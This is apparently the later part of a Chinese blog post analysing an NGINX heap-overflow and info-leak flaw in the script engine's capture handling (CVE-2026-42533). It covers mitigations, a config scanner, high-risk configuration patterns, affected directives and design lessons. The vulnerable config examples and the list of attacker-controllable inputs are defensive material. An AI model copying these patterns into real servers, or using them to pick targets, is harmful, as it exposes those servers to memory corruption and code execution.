map $http_x_input $mapped_var {~^(.+)$    "matched";    # 未命名捕获组,覆盖 $1/$2
}# 修改后(减少风险但不消除):
map $http_x_input $mapped_var {~^(?<input_cap>.+)$    "matched";  # 命名捕获组
}# ============================================================
# 措施2: 重构求值顺序 — map 变量在捕获变量之前
# map-before-capture 读取一致的缓存状态,不会被重新执行
# ============================================================
# 修改前 (脆弱):
add_header X-Debug "$1--$mapped_var--$1" always;# 修改后 (较安全):
add_header X-Debug "$mapped_var--$1" always;
# 注意: 即使$1在后面,仍存在"首$1读取原始、次$1读取被覆盖"的不一致
# 此措施仅降低风险,不完全消除# ============================================================
# 措施3: 审计 map 输入源 — 避免处理攻击者可控数据
# ============================================================
# 高风险输入源:
#   $uri, $args, $arg_*, $query_string     — URI组件
#   $http_*, $cookie_*                      — 请求头/Cookie
#   $request_body                            — 请求体
#   $ssl_preread_server_name                — TLS SNI
#   $remote_addr, $realip_remote_addr       — 客户端IP(可伪造)
#   $request_id                              — 请求ID

配置扫描器(漏洞发现者提供):

# Stan Shaw 开源的配置静态扫描器
# 扫描所有 include 文件,检测脆弱配置模式
# 支持JSON输出,可集成到CI/CDgit clone https://github.com/0xCyberstan/CVE-2026-42533-Config-Scanner.git
python3 nginx_capture_clobber_scan.py /etc/nginx/nginx.conf# CI/CD集成(退出码1表示发现脆弱配置)
python3 nginx_capture_clobber_scan.py /etc/nginx/nginx.conf || echo "VULNERABLE - review needed"

9.3 高风险配置模式

以下配置模式组合极易受攻击,应优先排查:

# 模式1: map处理攻击者可控输入 + 正则location/server_name + 共享缓冲区指令
map $http_user_agent $is_bot { ~bot "yes"; default "no"; }
location ~ ^/api/(.+)$ {proxy_set_header X-User "$1";        # 捕获变量proxy_set_header X-IsBot "$is_bot";  # map变量 → 同一缓冲区!proxy_pass http://backend;
}# 模式2: map处理请求体 + rewrite/rewrite捕获
map $request_body $body_type { ~"password" "sensitive"; default "normal"; }
location ~ ^/submit/(.+)$ {rewrite ^/submit/(.+)$ /handler?file=$1 break;add_header X-Body-Type "$body_type" always;# 如果捕获和map在同一表达式中出现 → 脆弱
}# 模式3: stream + ssl_preread + map
stream {map $ssl_preread_server_name $tls_backend {~^(?<sni>.+)\.internal$ "internal_$sni";default "default";}# TLS层的触发完全绕过HTTP WAF
}

受影响指令族完整列表:

类别 指令
单值指令 return, set, add_header, add_trailer, rewrite, proxy_method, proxy_redirect, proxy_cookie_path, proxy_cookie_domain, proxy_pass, proxy_cache_key, expires, auth_basic_user_file, root, alias, error_page, sub_filter, limit_req_zone key, limit_conn_zone key
参数族指令 proxy_set_header, proxy_set_body, fastcgi_param, scgi_param, uwsgi_param, grpc_set_header
Stream指令 return, set, proxy_pass, proxy_bind, proxy_ssl_name, proxy_ssl_certificate, proxy_ssl_certificate_key, ssl_certificate, ssl_certificate_key, access_log, pass, hash, split_clients

十、技术启示

10.1 两阶段评估模型的安全陷阱

NGINX的两阶段LEN/VALUE评估模型是性能优化的经典设计——避免动态扩容,一次分配搞定。但这个设计建立在一个未明文声明且未被强制执行的假设上:

假设:LEN Pass 和 VALUE Pass 对同一操作码必须产生完全相同的字节数。

这个假设在"纯函数"式操作码(字面量复制、变量替换)下是成立的,但在具有副作用的操作码(触发正则匹配、修改共享状态)下被打破。

安全教训:

  1. 任何"两遍扫描"架构都必须显式保证两遍的结果一致性
  2. 当操作码可能触发副作用时,必须引入不可变快照或显式的状态保存/恢复
  3. 缓冲区精确分配模式(LEN测量 → 按量分配)需要伴随显式的边界检查

10.2 共享可变状态的线程安全教训

r->captures 是请求对象上的可变共享状态,任何正则匹配都可以随时覆盖它。NGINX脚本引擎没有提供任何save/restore机制来保护这个状态:

设计缺陷总结:请求对象 r├── r->captures       ← 可变,任何正则匹配都会覆盖├── r->ncaptures      ← 可变└── r->captures_data  ← 可变操作码 A (copy_capture) 读取 → 依赖这些字段操作码 B (map regex)     写入 → 修改这些字段(副作用!)操作码 A (copy_capture) 再次读取 → 读到被修改后的值→ 破坏了"相同输入→相同输出"的不变式→ 破坏了LEN/VALUE两阶段的一致性保证

安全教训:

  1. 避免在请求对象上存储可变状态,除非提供完整的保护机制
  2. 正则匹配的结果应该是局部变量或不可变快照,而非全局可变状态
  3. 系统设计中,共享可变状态是并发安全和时序安全的首要威胁

10.3 与其他 NGINX 漏洞对比表

漏洞 年份 类型 触发条件 ASLR 影响
CVE-2013-2028 2013 堆缓冲区溢出 特定chunked编码 需关闭 DoS/RCE
CVE-2019-9511 2019 HTTP/2 DDoS 单个连接多流 N/A DoS
CVE-2021-23017 2021 DNS Resolver Off-by-One 特定DNS响应 N/A DoS
CVE-2026-42945 2026 堆缓冲区溢出 (Rift) 非缓存变量+复杂表达式 需关闭 RCE(受限)
CVE-2026-42533 2026 堆溢出+信息泄露 map正则+捕获变量 内置绕过 可靠RCE

10.4 内置 ASLR 绕过的漏洞评估范式

CVE-2026-42533 引入了一个值得深入思考的漏洞评估新范式:

传统漏洞评估:信息泄露 = 低危/中危 (CVSS ~5-6)堆溢出  = 高危/中危 (CVSS ~7-8, 但需ASLR关闭)组合链  = 需要两个独立漏洞本漏洞的特殊性:信息泄露 + 堆溢出 = 同一漏洞、同一代码路径、同一请求→ 消除了"需要两个独立漏洞"的门槛→ 消除了"需要ASLR关闭"的前提条件→ 评估为 CVSS 9.2 (Critical v4.0)安全评估启示:1. 当单一漏洞同时提供读写原语时,威胁等级应大幅提升2. "内置ASLR绕过"应作为CVSS评分的重要加分因子3. 配置依赖型漏洞不应被低估 — NGINX作为全球1/3+网站的反向代理其常见配置模式天然满足触发条件4. 15年的潜伏期说明:脚本引擎的内存安全问题需要持续的代码审计

参考资料

  • F5 安全公告 K000162097
  • NGINX 官方补丁 PR #1561
  • 漏洞发现者 Stan Shaw 的配置扫描器
  • NVD 漏洞详情
  • NGINX 源码:src/http/ngx_http_script.c, src/http/ngx_http_variables.c, src/http/ngx_http_map_module.c
编程学习 技术分享 实战经验

相关新闻

Xenon进阶功能:Idle状态与Semi-Raft Group实现跨机房容灾

2026/7/29 22:51:58

从Makefile混乱到优雅:mbake实战案例分享与经验总结

2026/7/29 22:51:58

问题是结果的“价值坐标系”

2026/7/29 22:51:58

最新新闻

Claude中转站用于教程内容生产:大纲、步骤与FAQ一体化

2026/7/30 7:45:17

迪文串口屏开发实战:从硬件对接到单片机通信全解析

2026/7/30 7:45:17

智读致用《噪声》全书总结|噪声不会消失,但你可以学会和它共处

2026/7/30 7:45:17

技术人选电脑租赁平台不看价格:六维选型框架拆解

2026/7/30 7:45:17

HC毛发插件在Maya中的完整应用指南:从基础到AAA级游戏制作

2026/7/30 7:45:17

C++虚函数表(vtable)与虚指针(vptr)底层机制详解

2026/7/30 7:45:17

日新闻

终极TeamSpeak3音乐机器人搭建指南:5分钟实现语音聊天室音频播放

2026/7/30 0:00:28

nfsserve:用Rust构建跨平台NFSv3服务器的终极指南

2026/7/30 0:00:28

广州海珠区内搬家攻略,平价靠谱搬家服务商推荐,专业打包搬运省心避坑全流程指南 - 厚道搬家

2026/7/30 0:00:28

周新闻

数字身份克隆技术:Second Me开源项目解析与应用

2026/7/29 18:14:08

仅限本周开放|GMAT AI备考效能评估工具(含ETS官方题库行为轨迹比对模块),免费生成专属「提分热力图」与瓶颈突破路线图

2026/7/29 7:27:08

技术焦虑下的业务聚焦:构建可持续的技术竞争力

2026/7/29 21:59:54

月新闻

[C++]内存管理:串顺序存储的内存回收

2026/7/30 3:20:24

足球口袋教练 HarmonyOS 离线应用实战(03/20):ArkUI 首页仪表盘搭建

2026/7/29 21:59:33

抖音内容监控助手:告别手动刷新,让优质内容主动找你

2026/7/29 21:59:53

分类目录

  • 学习日记
  • 项目实战
  • 学习方法
  • 代码技巧
  • 避坑指南
  • 调试经验

热门标签

JavaScript Python Java 前端开发 后端开发 算法 数据结构 项目实战

关于三亩地

三亩地是一个专注于编程学习的平台,以真实学习日记为载体,分享编程学习经验、项目实操技巧和高效学习方法。

快速链接

学习日记

项目实战

学习方法

资讯中心

联系方式

邮箱:contact@mfbz.cn

微信:sanmudi_code

QQ 群:123456789

© 2026 三亩地 编程学习日记 版权所有 | mfbz.cn